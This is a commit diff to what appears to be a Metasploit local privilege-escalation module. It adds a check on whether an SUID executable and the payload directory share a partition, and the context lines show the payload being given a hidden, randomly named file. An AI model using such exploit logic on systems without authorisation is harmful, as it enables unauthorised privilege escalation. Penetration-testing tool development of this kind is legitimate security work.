Add partition check

MS-2855/keylogger-mettle-extension
Brendan Coles 2018-02-05 14:17:02 +00:00 committed by h00die
parent 9e11632608
commit 45249d582d
1 changed files with 8 additions and 0 deletions

View File

@ -130,6 +130,14 @@ class MetasploitModule < Msf::Exploit::Local
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
suid_partition = cmd_exec "df -P -- '#{suid_exe_path}' | awk 'NR==2 {print $1}'"
base_partition = cmd_exec "df -P -- '#{base_dir}' | awk 'NR==2 {print $1}'"
if suid_partition == base_partition
vprint_good "'#{suid_exe_path}' and '#{base_dir}' are located on the same partition"
else
print_warning "'#{suid_exe_path}' and '#{base_dir}' are not located on the same partition"
end
payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
payload_path = "#{base_dir}/#{payload_name}"